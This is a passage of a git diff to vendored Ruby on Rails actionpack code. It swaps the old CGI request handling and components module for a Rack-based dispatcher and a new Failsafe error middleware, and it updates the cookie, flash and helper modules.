-        @p.transaction do |p|
-          File.chmod(0600, p.path)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb b/vendor/rails/actionpack/lib/action_controller/cgi_process.rb
index fabacd9b..54ff04cf 100644
--- a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb
+++ b/vendor/rails/actionpack/lib/action_controller/cgi_process.rb
@@ -1,185 +1,77 @@
 require 'action_controller/cgi_ext'
-require 'action_controller/session/cookie_store'
 
 module ActionController #:nodoc:
-  class Base
-    # Process a request extracted from a CGI object and return a response. Pass false as <tt>session_options</tt> to disable
-    # sessions (large performance increase if sessions are not needed). The <tt>session_options</tt> are the same as for CGI::Session:
-    #
-    # * <tt>:database_manager</tt> - standard options are CGI::Session::FileStore, CGI::Session::MemoryStore, and CGI::Session::PStore
-    #   (default). Additionally, there is CGI::Session::DRbStore and CGI::Session::ActiveRecordStore. Read more about these in
-    #   lib/action_controller/session.
-    # * <tt>:session_key</tt> - the parameter name used for the session id. Defaults to '_session_id'.
-    # * <tt>:session_id</tt> - the session id to use.  If not provided, then it is retrieved from the +session_key+ cookie, or 
-    #   automatically generated for a new session.
-    # * <tt>:new_session</tt> - if true, force creation of a new session.  If not set, a new session is only created if none currently
-    #   exists.  If false, a new session is never created, and if none currently exists and the +session_id+ option is not set,
-    #   an ArgumentError is raised.
-    # * <tt>:session_expires</tt> - the time the current session expires, as a Time object.  If not set, the session will continue
-    #   indefinitely.
-    # * <tt>:session_domain</tt> - the hostname domain for which this session is valid. If not set, defaults to the hostname of the
-    #   server.
-    # * <tt>:session_secure</tt> - if +true+, this session will only work over HTTPS.
-    # * <tt>:session_path</tt> - the path for which this session applies.  Defaults to the directory of the CGI script.
-    # * <tt>:cookie_only</tt> - if +true+ (the default), session IDs will only be accepted from cookies and not from
-    #   the query string or POST parameters. This protects against session fixation attacks.
-    def self.process_cgi(cgi = CGI.new, session_options = {})
-      new.process_cgi(cgi, session_options)
-    end
-
-    def process_cgi(cgi, session_options = {}) #:nodoc:
-      process(CgiRequest.new(cgi, session_options), CgiResponse.new(cgi)).out
-    end
-  end
-
-  class CgiRequest < AbstractRequest #:nodoc:
-    attr_accessor :cgi, :session_options
-    class SessionFixationAttempt < StandardError #:nodoc:
-    end
-
-    DEFAULT_SESSION_OPTIONS = {
-      :database_manager => CGI::Session::CookieStore, # store data in cookie
-      :prefix           => "ruby_sess.",    # prefix session file names
-      :session_path     => "/",             # available to all paths in app
-      :session_key      => "_session_id",
-      :cookie_only      => true,
-      :session_http_only=> true
-    }
-
-    def initialize(cgi, session_options = {})
-      @cgi = cgi
-      @session_options = session_options
-      @env = @cgi.__send__(:env_table)
-      super()
-    end
-
-    def query_string
-      qs = @cgi.query_string if @cgi.respond_to?(:query_string)
-      if !qs.blank?
-        qs
-      else
-        super
-      end
-    end
-
-    def body_stream #:nodoc:
-      @cgi.stdinput
-    end
-
-    def cookies
-      @cgi.cookies.freeze
-    end
-
-    def session
-      unless defined?(@session)
-        if @session_options == false
-          @session = Hash.new
-        else
-          stale_session_check! do
-            if cookie_only? && query_parameters[session_options_with_string_keys['session_key']]
-              raise SessionFixationAttempt
-            end
-            case value = session_options_with_string_keys['new_session']
-              when true
-                @session = new_session
-              when false
-                begin
-                  @session = CGI::Session.new(@cgi, session_options_with_string_keys)
-                # CGI::Session raises ArgumentError if 'new_session' == false
-                # and no session cookie or query param is present.
-                rescue ArgumentError
-                  @session = Hash.new
-                end
-              when nil
-                @session = CGI::Session.new(@cgi, session_options_with_string_keys)
-              else
-                raise ArgumentError, "Invalid new_session option: #{value}"
-            end
-            @session['__valid_session']
-          end
-        end
-      end
-      @session
-    end
-
-    def reset_session
-      @session.delete if defined?(@session) && @session.is_a?(CGI::Session)
-      @session = new_session
-    end
-
-    def method_missing(method_id, *arguments)
-      @cgi.__send__(method_id, *arguments) rescue super
-    end
-
-    private
-      # Delete an old session if it exists then create a new one.
-      def new_session
-        if @session_options == false
-          Hash.new
-        else
-          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil
-          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true))
+  class CGIHandler
+    module ProperStream
+      def each
+        while line = gets
+          yield line
         end
       end
 
-      def cookie_only?
-        session_options_with_string_keys['cookie_only']
-      end
-
-      def stale_session_check!
-        yield
-      rescue ArgumentError => argument_error
-        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
-          begin
-            # Note that the regexp does not allow $1 to end with a ':'
-            $1.constantize
-          rescue LoadError, NameError => const_error
-            raise ActionController::SessionRestoreError, <<-end_msg
-Session contains objects whose class definition isn\'t available.
-Remember to require the classes for all objects kept in the session.
-(Original exception: #{const_error.message} [#{const_error.class}])
-end_msg
-          end
-
-          retry
+      def read(*args)
+        if args.empty?
+          super || ""
         else
-          raise
+          super
         end
       end
-
-      def session_options_with_string_keys
-        @session_options_with_string_keys ||= DEFAULT_SESSION_OPTIONS.merge(@session_options).stringify_keys
-      end
-  end
-
-  class CgiResponse < AbstractResponse #:nodoc:
-    def initialize(cgi)
-      @cgi = cgi
-      super()
     end
 
-    def out(output = $stdout)
-      output.binmode      if output.respond_to?(:binmode)
-      output.sync = false if output.respond_to?(:sync=)
+    def self.dispatch_cgi(app, cgi, out = $stdout)
+      env = cgi.__send__(:env_table)
+      env.delete "HTTP_CONTENT_LENGTH"
 
+      cgi.stdinput.extend ProperStream
+
+      env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+
+      env.update({
+        "rack.version" => [0,1],
+        "rack.input" => cgi.stdinput,
+        "rack.errors" => $stderr,
+        "rack.multithread" => false,
+        "rack.multiprocess" => true,
+        "rack.run_once" => false,
+        "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+      })
+
+      env["QUERY_STRING"] ||= ""
+      env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+      env["REQUEST_PATH"] ||= "/"
+      env.delete "PATH_INFO" if env["PATH_INFO"] == ""
+
+      status, headers, body = app.call(env)
       begin
-        output.write(@cgi.header(@headers))
+        out.binmode if out.respond_to?(:binmode)
+        out.sync = false if out.respond_to?(:sync=)
 
-        if @cgi.__send__(:env_table)['REQUEST_METHOD'] == 'HEAD'
-          return
-        elsif @body.respond_to?(:call)
-          # Flush the output now in case the @body Proc uses
-          # #syswrite.
-          output.flush if output.respond_to?(:flush)
-          @body.call(self, output)
-        else
-          output.write(@body)
+        headers['Status'] = status.to_s
+
+        if headers.include?('Set-Cookie')
+          headers['cookie'] = headers.delete('Set-Cookie').split("\n")
         end
 
-        output.flush if output.respond_to?(:flush)
-      rescue Errno::EPIPE, Errno::ECONNRESET
-        # lost connection to parent process, ignore output
+        out.write(cgi.header(headers))
+
+        body.each { |part|
+          out.write part
+          out.flush if out.respond_to?(:flush)
+        }
+      ensure
+        body.close if body.respond_to?(:close)
       end
     end
   end
+
+  class CgiRequest #:nodoc:
+    DEFAULT_SESSION_OPTIONS = {
+      :database_manager  => nil,
+      :prefix            => "ruby_sess.",
+      :session_path      => "/",
+      :session_key       => "_session_id",
+      :cookie_only       => true,
+      :session_http_only => true
+    }
+  end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/components.rb b/vendor/rails/actionpack/lib/action_controller/components.rb
deleted file mode 100644
index f446b91e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/components.rb
+++ /dev/null
@@ -1,169 +0,0 @@
-module ActionController #:nodoc:
-  # Components allow you to call other actions for their rendered response while executing another action. You can either delegate
-  # the entire response rendering or you can mix a partial response in with your other content.
-  #
-  #   class WeblogController < ActionController::Base
-  #     # Performs a method and then lets hello_world output its render
-  #     def delegate_action
-  #       do_other_stuff_before_hello_world
-  #       render_component :controller => "greeter",  :action => "hello_world", :params => { :person => "david" }
-  #     end
-  #   end
-  #
-  #   class GreeterController < ActionController::Base
-  #     def hello_world
-  #       render :text => "#{params[:person]} says, Hello World!"
-  #     end
-  #   end
-  #
-  # The same can be done in a view to do a partial rendering:
-  #
-  #   Let's see a greeting:
-  #   <%= render_component :controller => "greeter", :action => "hello_world" %>
-  #
-  # It is also possible to specify the controller as a class constant, bypassing the inflector
-  # code to compute the controller class at runtime:
-  #
-  # <%= render_component :controller => GreeterController, :action => "hello_world" %>
-  #
-  # == When to use components
-  #
-  # Components should be used with care. They're significantly slower than simply splitting reusable parts into partials and
-  # conceptually more complicated. Don't use components as a way of separating concerns inside a single application. Instead,
-  # reserve components to those rare cases where you truly have reusable view and controller elements that can be employed
-  # across many applications at once.
-  #
-  # So to repeat: Components are a special-purpose approach that can often be replaced with better use of partials and filters.
-  module Components
-    def self.included(base) #:nodoc:
-      base.class_eval do
-        include InstanceMethods
-        include ActiveSupport::Deprecation
-        extend ClassMethods
-        helper HelperMethods
-
-        # If this controller was instantiated to process a component request,
-        # +parent_controller+ points to the instantiator of this controller.
-        attr_accessor :parent_controller
-
-        alias_method_chain :process_cleanup, :components
-        alias_method_chain :set_session_options, :components
-        alias_method_chain :flash, :components
-
-        alias_method :component_request?, :parent_controller
-      end
-    end
-
-    module ClassMethods
-      # Track parent controller to identify component requests
-      def process_with_components(request, response, parent_controller = nil) #:nodoc:
-        controller = new
-        controller.parent_controller = parent_controller
-        controller.process(request, response)
-      end
-    end
-
-    module HelperMethods
-      def render_component(options)
-        @controller.__send__(:render_component_as_string, options)
-      end
-    end
-
-    module InstanceMethods
-      # Extracts the action_name from the request parameters and performs that action.
-      def process_with_components(request, response, method = :perform_action, *arguments) #:nodoc:
-        flash.discard if component_request?
-        process_without_components(request, response, method, *arguments)
-      end
-
-      protected
-        # Renders the component specified as the response for the current method
-        def render_component(options) #:doc:
-          component_logging(options) do
-            render_for_text(component_response(options, true).body, response.headers["Status"])
-          end
-        end
-        deprecate :render_component => "Please install render_component plugin from http://github.com/rails/render_component/tree/master"
-
-        # Returns the component response as a string
-        def render_component_as_string(options) #:doc:
-          component_logging(options) do
-            response = component_response(options, false)
-
-            if redirected = response.redirected_to
-              render_component_as_string(redirected)
-            else
-              response.body
-            end
-          end
-        end
-        deprecate :render_component_as_string => "Please install render_component plugin from http://github.com/rails/render_component/tree/master"
-
-        def flash_with_components(refresh = false) #:nodoc:
-          if !defined?(@_flash) || refresh
-            @_flash =
-              if defined?(@parent_controller)
-                @parent_controller.flash
-              else
-                flash_without_components
-              end
-          end
-          @_flash
-        end
-
-      private
-        def component_response(options, reuse_response)
-          klass    = component_class(options)
-          request  = request_for_component(klass.controller_name, options)
-          new_response = reuse_response ? response : response.dup
-
-          klass.process_with_components(request, new_response, self)
-        end
-
-        # determine the controller class for the component request
-        def component_class(options)
-          if controller = options[:controller]
-            controller.is_a?(Class) ? controller : "#{controller.camelize}Controller".constantize
-          else
-            self.class
-          end
-        end
-
-        # Create a new request object based on the current request.
-        # The new request inherits the session from the current request,
-        # bypassing any session options set for the component controller's class
-        def request_for_component(controller_name, options)
-          new_request         = request.dup
-          new_request.session = request.session
-
-          new_request.instance_variable_set(
-            :@parameters,
-            (options[:params] || {}).with_indifferent_access.update(
-              "controller" => controller_name, "action" => options[:action], "id" => options[:id]
-            )
-          )
-
-          new_request
-        end
-
-        def component_logging(options)
-          if logger
-            logger.info "Start rendering component (#{options.inspect}): "
-            result = yield
-            logger.info "\n\nEnd of component rendering"
-            result
-          else
-            yield
-          end
-        end
-
-        def set_session_options_with_components(request)
-          set_session_options_without_components(request) unless component_request?
-        end
-
-        def process_cleanup_with_components
-          process_cleanup_without_components unless component_request?
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/cookies.rb b/vendor/rails/actionpack/lib/action_controller/cookies.rb
index 0428f2a2..c328db8b 100644
--- a/vendor/rails/actionpack/lib/action_controller/cookies.rb
+++ b/vendor/rails/actionpack/lib/action_controller/cookies.rb
@@ -41,7 +41,7 @@ module ActionController #:nodoc:
   # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
   # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
   #   Default is +false+.
-  # * <tt>:http_only</tt> - Whether this cookie is accessible via scripting or
+  # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
   #   only HTTP. Defaults to +false+.
   module Cookies
     def self.included(base)
@@ -51,7 +51,7 @@ module ActionController #:nodoc:
     protected
       # Returns the cookie container, which operates as described above.
       def cookies
-        CookieJar.new(self)
+        @cookies ||= CookieJar.new(self)
       end
   end
 
@@ -64,43 +64,32 @@ module ActionController #:nodoc:
 
     # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
     def [](name)
-      cookie = @cookies[name.to_s]
-      if cookie && cookie.respond_to?(:value)
-        cookie.size > 1 ? cookie.value : cookie.value[0]
-      end
+      super(name.to_s)
     end
 
     # Sets the cookie named +name+. The second argument may be the very cookie
     # value, or a hash of options as documented above.
-    def []=(name, options)
+    def []=(key, options)
       if options.is_a?(Hash)
-        options = options.inject({}) { |options, pair| options[pair.first.to_s] = pair.last; options }
-        options["name"] = name.to_s
+        options.symbolize_keys!
       else
-        options = { "name" => name.to_s, "value" => options }
+        options = { :value => options }
       end
 
-      set_cookie(options)
+      options[:path] = "/" unless options.has_key?(:path)
+      super(key.to_s, options[:value])
+      @controller.response.set_cookie(key, options)
     end
 
     # Removes the cookie on the client machine by setting the value to an empty string
     # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
     # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
-    def delete(name, options = {})
-      options.stringify_keys!
-      set_cookie(options.merge("name" => name.to_s, "value" => "", "expires" => Time.at(0)))
+    def delete(key, options = {})
+      options.symbolize_keys!
+      options[:path] = "/" unless options.has_key?(:path)
+      value = super(key.to_s)
+      @controller.response.delete_cookie(key, options)
+      value
     end
-
-    private
-      # Builds a CGI::Cookie object and adds the cookie to the response headers.
-      #
-      # The path of the cookie defaults to "/" if there's none in +options+, and
-      # everything is passed to the CGI::Cookie constructor.
-      def set_cookie(options) #:doc:
-        options["path"] = "/" unless options["path"]
-        cookie = CGI::Cookie.new(options)
-        @controller.logger.info "Cookie set: #{cookie}" unless @controller.logger.nil?
-        @controller.response.headers["cookie"] << cookie
-      end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb b/vendor/rails/actionpack/lib/action_controller/dispatcher.rb
index 2d5e80f0..1932944f 100644
--- a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb
+++ b/vendor/rails/actionpack/lib/action_controller/dispatcher.rb
@@ -2,27 +2,16 @@ module ActionController
   # Dispatches requests to the appropriate controller and takes care of
   # reloading the app after each request when Dependencies.load? is true.
   class Dispatcher
-    @@guard = Mutex.new
+    @@cache_classes = true
 
     class << self
       def define_dispatcher_callbacks(cache_classes)
+        @@cache_classes = cache_classes
         unless cache_classes
-          # Development mode callbacks
-          before_dispatch :reload_application
-          after_dispatch :cleanup_application
-        end
-
-        # Common callbacks
-        to_prepare :load_application_controller do
-          begin
-            require_dependency 'application' unless defined?(::ApplicationController)
-          rescue LoadError => error
-            raise unless error.message =~ /application\.rb/
-          end
+          ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
         end
 
         if defined?(ActiveRecord)
-          after_dispatch :checkin_connections
           to_prepare(:activerecord_instantiate_observers) { ActiveRecord::Base.instantiate_observers }
         end
 
@@ -33,8 +22,7 @@ module ActionController
         end
       end
 
-      # Backward-compatible class method takes CGI-specific args. Deprecated
-      # in favor of Dispatcher.new(output, request, response).dispatch.
+      # DEPRECATE: Remove CGI support
       def dispatch(cgi = nil, session_options = CgiRequest::DEFAULT_SESSION_OPTIONS, output = $stdout)
         new(output).dispatch_cgi(cgi, session_options)
       end
@@ -53,144 +41,93 @@ module ActionController
         @prepare_dispatch_callbacks.replace_or_append!(callback)
       end
 
-      # If the block raises, send status code as a last-ditch response.
-      def failsafe_response(fallback_output, status, originating_exception = nil)
-        yield
-      rescue Exception => exception
-        begin
-          log_failsafe_exception(status, originating_exception || exception)
-          body = failsafe_response_body(status)
-          fallback_output.write "Status: #{status}\r\nContent-Type: text/html\r\n\r\n#{body}"
-          nil
-        rescue Exception => failsafe_error # Logger or IO errors
-          $stderr.puts "Error during failsafe response: #{failsafe_error}"
-          $stderr.puts "(originally #{originating_exception})" if originating_exception
+      def run_prepare_callbacks
+        if defined?(Rails) && Rails.logger
+          logger = Rails.logger
+        else
+          logger = Logger.new($stderr)
         end
+
+        new(logger).send :run_callbacks, :prepare_dispatch
       end
 
-      private
-        def failsafe_response_body(status)
-          error_path = "#{error_file_path}/#{status.to_s[0..3]}.html"
+      def reload_application
+        # Run prepare callbacks before every request in development mode
+        run_prepare_callbacks
 
-          if File.exist?(error_path)
-            File.read(error_path)
-          else
-            "<html><body><h1>#{status}</h1></body></html>"
-          end
-        end
+        Routing::Routes.reload
+      end
 
-        def log_failsafe_exception(status, exception)
-          message = "/!\\ FAILSAFE /!\\  #{Time.now}\n  Status: #{status}\n"
-          message << "  #{exception}\n    #{exception.backtrace.join("\n    ")}" if exception
-          failsafe_logger.fatal message
-        end
-
-        def failsafe_logger
-          if defined?(::RAILS_DEFAULT_LOGGER) && !::RAILS_DEFAULT_LOGGER.nil?
-            ::RAILS_DEFAULT_LOGGER
-          else
-            Logger.new($stderr)
-          end
-        end
+      def cleanup_application
+        # Cleanup the application before processing the current request.
+        ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
+        ActiveSupport::Dependencies.clear
+        ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
+      end
     end
 
-    cattr_accessor :error_file_path
-    self.error_file_path = Rails.public_path if defined?(Rails.public_path)
+    cattr_accessor :middleware
+    self.middleware = MiddlewareStack.new do |middleware|
+      middlewares = File.join(File.dirname(__FILE__), "middlewares.rb")
+      middleware.instance_eval(File.read(middlewares))
+    end
 
     include ActiveSupport::Callbacks
     define_callbacks :prepare_dispatch, :before_dispatch, :after_dispatch
 
+    # DEPRECATE: Remove arguments, since they are only used by CGI
     def initialize(output = $stdout, request = nil, response = nil)
-      @output, @request, @response = output, request, response
+      @output = output
+      build_middleware_stack if @@cache_classes
     end
 
-    def dispatch_unlocked
+    def dispatch
       begin
         run_callbacks :before_dispatch
-        handle_request
+        Routing::Routes.call(@env)
       rescue Exception => exception
-        failsafe_rescue exception
+        if controller ||= (::ApplicationController rescue Base)
+          controller.call_with_exception(@env, exception).to_a
+        else
+          raise exception
+        end
       ensure
         run_callbacks :after_dispatch, :enumerator => :reverse_each
       end
     end
 
-    def dispatch
-      if ActionController::Base.allow_concurrency
-        dispatch_unlocked
+    # DEPRECATE: Remove CGI support
+    def dispatch_cgi(cgi, session_options)
+      CGIHandler.dispatch_cgi(self, cgi, @output)
+    end
+
+    def call(env)
+      if @@cache_classes
+        @app.call(env)
       else
-        @@guard.synchronize do
-          dispatch_unlocked
+        Reloader.run do
+          # When class reloading is turned on, we will want to rebuild the
+          # middleware stack every time we process a request. If we don't
+          # rebuild the middleware stack, then the stack may contain references
+          # to old classes metal classes, which will b0rk class reloading.
+          build_middleware_stack
+          @app.call(env)
         end
       end
     end
 
-    def dispatch_cgi(cgi, session_options)
-      if cgi ||= self.class.failsafe_response(@output, '400 Bad Request') { CGI.new }
-        @request = CgiRequest.new(cgi, session_options)
-        @response = CgiResponse.new(cgi)
-        dispatch
-      end
-    rescue Exception => exception
-      failsafe_rescue exception
-    end
-
-    def call(env)
-      @request = RackRequest.new(env)
-      @response = RackResponse.new(@request)
+    def _call(env)
+      @env = env
       dispatch
     end
 
-    def reload_application
-      # Run prepare callbacks before every request in development mode
-      run_callbacks :prepare_dispatch
-
-      Routing::Routes.reload
-      ActionController::Base.view_paths.reload!
-      ActionView::Helpers::AssetTagHelper::AssetTag::Cache.clear
-    end
-
-    # Cleanup the application by clearing out loaded classes so they can
-    # be reloaded on the next request without restarting the server.
-    def cleanup_application
-      ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
-      ActiveSupport::Dependencies.clear
-      ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
-    end
-
     def flush_logger
       Base.logger.flush
     end
 
-    def mark_as_test_request!
-      @test_request = true
-      self
-    end
-
-    def test_request?
-      @test_request
-    end
-
-    def checkin_connections
-      # Don't return connection (and peform implicit rollback) if this request is a part of integration test
-      return if test_request?
-      ActiveRecord::Base.clear_active_connections!
-    end
-
-    protected
-      def handle_request
-        @controller = Routing::Routes.recognize(@request)
-        @controller.process(@request, @response).out(@output)
-      end
-
-      def failsafe_rescue(exception)
-        self.class.failsafe_response(@output, '500 Internal Server Error', exception) do
-          if @controller ||= defined?(::ApplicationController) ? ::ApplicationController : Base
-            @controller.process_with_exception(@request, @response, exception).out(@output)
-          else
-            raise exception
-          end
-        end
+    private
+      def build_middleware_stack
+        @app = @@middleware.build(lambda { |env| self.dup._call(env) })
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/failsafe.rb b/vendor/rails/actionpack/lib/action_controller/failsafe.rb
new file mode 100644
index 00000000..7f8aee82
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/failsafe.rb
@@ -0,0 +1,86 @@
+require 'erb'
+
+module ActionController
+  # The Failsafe middleware is usually the top-most middleware in the Rack
+  # middleware chain. It returns the underlying middleware's response, but if
+  # the underlying middle raises an exception then Failsafe will log the
+  # exception into the Rails log file, and will attempt to return an error
+  # message response.
+  #
+  # Failsafe is a last resort for logging errors and for telling the HTTP
+  # client that something went wrong. Do not confuse this with the
+  # ActionController::Rescue module, which is responsible for catching
+  # exceptions at deeper levels. Unlike Failsafe, which is as simple as
+  # possible, Rescue provides features that allow developers to hook into
+  # the error handling logic, and can customize the error message response
+  # based on the HTTP client's IP.
+  class Failsafe
+    cattr_accessor :error_file_path
+    self.error_file_path = Rails.public_path if defined?(Rails.public_path)
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      @app.call(env)
+    rescue Exception => exception
+      # Reraise exception in test environment
+      if defined?(Rails) && Rails.env.test?
+        raise exception
+      else
+        failsafe_response(exception)
+      end
+    end
+
+    private
+      def failsafe_response(exception)
+        log_failsafe_exception(exception)
+        [500, {'Content-Type' => 'text/html'}, [failsafe_response_body]]
+      rescue Exception => failsafe_error # Logger or IO errors
+        $stderr.puts "Error during failsafe response: #{failsafe_error}"
+      end
+
+      def failsafe_response_body
+        error_template_path = "#{self.class.error_file_path}/500.html"
+        if File.exist?(error_template_path)
+          begin
+            result = render_template(error_template_path)
+          rescue Exception
+            result = nil
+          end
+        else
+          result = nil
+        end
+        if result.nil?
+          result = "<html><body><h1>500 Internal Server Error</h1>" <<
+            "If you are the administrator of this website, then please read this web " <<
+            "application's log file to find out what went wrong.</body></html>"
+        end
+        result
+      end
+      
+      # The default 500.html uses the h() method.
+      def h(text) # :nodoc:
+        ERB::Util.h(text)
+      end
+      
+      def render_template(filename)
+        ERB.new(File.read(filename)).result(binding)
+      end
+
+      def log_failsafe_exception(exception)
+        message = "/!\\ FAILSAFE /!\\  #{Time.now}\n  Status: 500 Internal Server Error\n"
+        message << "  #{exception}\n    #{exception.backtrace.join("\n    ")}" if exception
+        failsafe_logger.fatal(message)
+      end
+
+      def failsafe_logger
+        if defined?(Rails) && Rails.logger
+          Rails.logger
+        else
+          Logger.new($stderr)
+        end
+      end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/flash.rb b/vendor/rails/actionpack/lib/action_controller/flash.rb
index 0148fb5c..93912073 100644
--- a/vendor/rails/actionpack/lib/action_controller/flash.rb
+++ b/vendor/rails/actionpack/lib/action_controller/flash.rb
@@ -4,20 +4,22 @@ module ActionController #:nodoc:
   # action that sets <tt>flash[:notice] = "Successfully created"</tt> before redirecting to a display action that can
   # then expose the flash to its template. Actually, that exposure is automatically done. Example:
   #
-  #   class WeblogController < ActionController::Base
+  #   class PostsController < ActionController::Base
   #     def create
   #       # save post
   #       flash[:notice] = "Successfully created post"
-  #       redirect_to :action => "display", :params => { :id => post.id }
+  #       redirect_to posts_path(@post)
   #     end
   #
-  #     def display
+  #     def show
   #       # doesn't need to assign the flash notice to the template, that's done automatically
   #     end
   #   end
   #
-  #   display.erb
-  #     <% if flash[:notice] %><div class="notice"><%= flash[:notice] %></div><% end %>
+  #   show.html.erb
+  #     <% if flash[:notice] %>
+  #       <div class="notice"><%= flash[:notice] %></div>
+  #     <% end %>
   #
   # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
   # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
@@ -27,55 +29,54 @@ module ActionController #:nodoc:
     def self.included(base)
       base.class_eval do
         include InstanceMethods
-        alias_method_chain :assign_shortcuts, :flash
-        alias_method_chain :reset_session,    :flash
+        alias_method_chain :perform_action, :flash
+        alias_method_chain :reset_session,  :flash
       end
     end
-    
-    
+
     class FlashNow #:nodoc:
       def initialize(flash)
         @flash = flash
       end
-      
+
       def []=(k, v)
         @flash[k] = v
         @flash.discard(k)
         v
       end
-      
+
       def [](k)
         @flash[k]
       end
     end
-    
+
     class FlashHash < Hash
       def initialize #:nodoc:
         super
         @used = {}
       end
-      
+
       def []=(k, v) #:nodoc:
         keep(k)
         super
       end
-      
+
       def update(h) #:nodoc:
         h.keys.each { |k| keep(k) }
         super
       end
-      
+
       alias :merge! :update
-      
+
       def replace(h) #:nodoc:
         @used = {}
         super
       end
-    
+
       # Sets a flash that will not be available to the next action, only to the current.
       #
       #     flash.now[:message] = "Hello current action"
-      # 
+      #
       # This method enables you to use the flash as a central messaging system in your app.
       # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
       # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
@@ -85,7 +86,7 @@ module ActionController #:nodoc:
       def now
         FlashNow.new(self)
       end
-    
+
       # Keeps either the entire current flash or a specific flash entry available for the next action:
       #
       #    flash.keep            # keeps the entire flash
@@ -93,7 +94,7 @@ module ActionController #:nodoc:
       def keep(k = nil)
         use(k, false)
       end
-    
+
       # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
       #
       #     flash.discard              # discard the entire flash at the end of the current action
@@ -101,12 +102,12 @@ module ActionController #:nodoc:
       def discard(k = nil)
         use(k)
       end
-    
+
       # Mark for removal entries that were kept, and delete unkept ones.
       #
       # This method is called automatically by filters, so you generally don't need to care about it.
       def sweep #:nodoc:
-        keys.each do |k| 
+        keys.each do |k|
           unless @used[k]
             use(k)
           else
@@ -118,7 +119,12 @@ module ActionController #:nodoc:
         # clean up after keys that could have been left over by calling reject! or shift on the flash
         (@used.keys - keys).each{ |k| @used.delete(k) }
       end
-    
+
+      def store(session, key = "flash")
+        return if self.empty?
+        session[key] = self
+      end
+
       private
         # Used internally by the <tt>keep</tt> and <tt>discard</tt> methods
         #     use()               # marks the entire flash as used
@@ -136,37 +142,30 @@ module ActionController #:nodoc:
 
     module InstanceMethods #:nodoc:
       protected
+        def perform_action_with_flash
+          perform_action_without_flash
+          if defined? @_flash
+            @_flash.store(session)
+            remove_instance_variable(:@_flash)
+          end
+        end
+
         def reset_session_with_flash
           reset_session_without_flash
-          remove_instance_variable(:@_flash)
-          flash(:refresh)
+          remove_instance_variable(:@_flash) if defined? @_flash
         end
-      
-        # Access the contents of the flash. Use <tt>flash["notice"]</tt> to read a notice you put there or 
-        # <tt>flash["notice"] = "hello"</tt> to put a new one.
-        # Note that if sessions are disabled only flash.now will work.
-        def flash(refresh = false) #:doc:
-          if !defined?(@_flash) || refresh
-            @_flash =
-              if session.is_a?(Hash)
-                # don't put flash in session if disabled
-                FlashHash.new
-              else
-                # otherwise, session is a CGI::Session or a TestSession
-                # so make sure it gets retrieved from/saved to session storage after request processing
-                session["flash"] ||= FlashHash.new
-              end
+
+        # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
+        # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
+        # to put a new one.
+        def flash #:doc:
+          if !defined?(@_flash)
+            @_flash = session["flash"] || FlashHash.new
+            @_flash.sweep
           end
 
           @_flash
         end
-
-      private
-        def assign_shortcuts_with_flash(request, response) #:nodoc:
-          assign_shortcuts_without_flash(request, response)
-          flash(:refresh)
-          flash.sweep if @_session && !component_request?
-        end
     end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/helpers.rb b/vendor/rails/actionpack/lib/action_controller/helpers.rb
index 9cffa07b..ba65032f 100644
--- a/vendor/rails/actionpack/lib/action_controller/helpers.rb
+++ b/vendor/rails/actionpack/lib/action_controller/helpers.rb
@@ -1,13 +1,17 @@
+require 'active_support/dependencies'
+
 # FIXME: helper { ... } is broken on Ruby 1.9
 module ActionController #:nodoc:
   module Helpers #:nodoc:
-    HELPERS_DIR = (defined?(RAILS_ROOT) ? "#{RAILS_ROOT}/app/helpers" : "app/helpers")
-
     def self.included(base)
       # Initialize the base module to aggregate its helpers.
       base.class_inheritable_accessor :master_helper_module
       base.master_helper_module = Module.new
 
+      # Set the default directory for helpers
+      base.class_inheritable_accessor :helpers_dir
+      base.helpers_dir = (defined?(RAILS_ROOT) ? "#{RAILS_ROOT}/app/helpers" : "app/helpers")
+
       # Extend base with class methods to declare helpers.
       base.extend(ClassMethods)
 
@@ -88,8 +92,8 @@ module ActionController #:nodoc:
       # When the argument is a module it will be included directly in the template class.
       #   helper FooHelper # => includes FooHelper
       #
-      # When the argument is the symbol <tt>:all</tt>, the controller will include all helpers from 
-      # <tt>app/helpers/**/*.rb</tt> under RAILS_ROOT.
+      # When the argument is the symbol <tt>:all</tt>, the controller will include all helpers beneath
+      # <tt>ActionController::Base.helpers_dir</tt> (defaults to <tt>app/helpers/**/*.rb</tt> under RAILS_ROOT).
       #   helper :all
       #
       # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available 
